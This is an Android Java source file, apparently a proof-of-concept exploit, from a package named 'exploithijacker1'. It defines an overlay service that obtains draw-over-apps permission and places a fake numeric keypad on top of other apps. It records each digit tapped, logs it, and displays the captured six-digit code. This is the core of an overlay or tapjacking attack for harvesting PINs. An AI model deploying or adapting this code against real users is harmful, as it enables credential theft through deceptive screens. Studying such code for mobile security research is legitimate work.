Copy package com.example.exploithijacker1;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.PixelFormat;
import android.net.Uri;
import android.os.Build;
import android.os.IBinder;
import android.provider.Settings;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.RequiresApi;
public class Overlay extends Service implements View.OnTouchListener, View.OnClickListener {
WindowManager w;
View overlayView;
int count = 0;
private TextView textView;
private StringBuilder sb = new StringBuilder();
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onClick(View view) {}
@Override
public boolean onTouch(View view, MotionEvent motionEvent) {
return true;
}
@RequiresApi(api = Build.VERSION_CODES.O)
@Override
public void onCreate() {
super.onCreate();
if (!Settings.canDrawOverlays(this)) {
Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + getPackageName()));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
Toast.makeText(this, "Please grant overlay permission", Toast.LENGTH_LONG).show();
stopSelf();
return;
}
w = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
overlayView = LayoutInflater.from(this).inflate(R.layout.custom, null);
overlayView.setOnTouchListener(this);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
PixelFormat.TRANSLUCENT
);
Button btn1 = overlayView.findViewById(R.id.btn1);
Button btn2 = overlayView.findViewById(R.id.btn2);
Button btn3 = overlayView.findViewById(R.id.btn3);
Button btn4 = overlayView.findViewById(R.id.btn4);
Button btn5 = overlayView.findViewById(R.id.btn5);
Button btn6 = overlayView.findViewById(R.id.btn6);
Button btn7 = overlayView.findViewById(R.id.btn7);
Button btn8 = overlayView.findViewById(R.id.btn8);
Button btn9 = overlayView.findViewById(R.id.btn9);
Button btn0 = overlayView.findViewById(R.id.btn0);
Button btnClear = overlayView.findViewById(R.id.btn_clear);
btn1.setOnClickListener(this);
btn2.setOnClickListener(this);
btn3.setOnClickListener(this);
btn4.setOnClickListener(this);
btn5.setOnClickListener(this);
btn6.setOnClickListener(this);
btn7.setOnClickListener(this);
btn8.setOnClickListener(this);
btn9.setOnClickListener(this);
btn0.setOnClickListener(this);
btnClear.setOnClickListener(this);
textView = new TextView(this);
textView.setTextColor(Color.WHITE);
textView.setTextSize(18);
textView.setBackgroundColor(Color.BLACK);
textView.setPadding(20, 20, 20, 20);
textView.setGravity(Gravity.CENTER);
WindowManager.LayoutParams textViewParams = new WindowManager.LayoutParams(
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
PixelFormat.TRANSLUCENT
);
textViewParams.gravity = Gravity.TOP | Gravity.CENTER_HORIZONTAL;
btn1.setOnClickListener(view -> handleButtonClick("1", textViewParams));
btn2.setOnClickListener(view -> handleButtonClick("2", textViewParams));
btn3.setOnClickListener(view -> handleButtonClick("3", textViewParams));
btn4.setOnClickListener(view -> handleButtonClick("4", textViewParams));
btn5.setOnClickListener(view -> handleButtonClick("5", textViewParams));
btn6.setOnClickListener(view -> handleButtonClick("6", textViewParams));
btn7.setOnClickListener(view -> handleButtonClick("7", textViewParams));
btn8.setOnClickListener(view -> handleButtonClick("8", textViewParams));
btn9.setOnClickListener(view -> handleButtonClick("9", textViewParams));
btn0.setOnClickListener(view -> handleButtonClick("0", textViewParams));
btnClear.setOnClickListener(view -> handleButtonClick("C", textViewParams));
w.addView(overlayView, params);
}
private void handleButtonClick(String input, WindowManager.LayoutParams textViewParams) {
Log.d(null, "triggered -> " + input);
sb.append(input);
count++;
if (count == 6) {
textView.setText(sb.toString());
w.addView(textView, textViewParams);
}
}
@Override
public void onDestroy() {
super.onDestroy();
if (overlayView != null) {
w.removeView(overlayView);
}
if (textView != null) {
w.removeView(textView);
}
}
}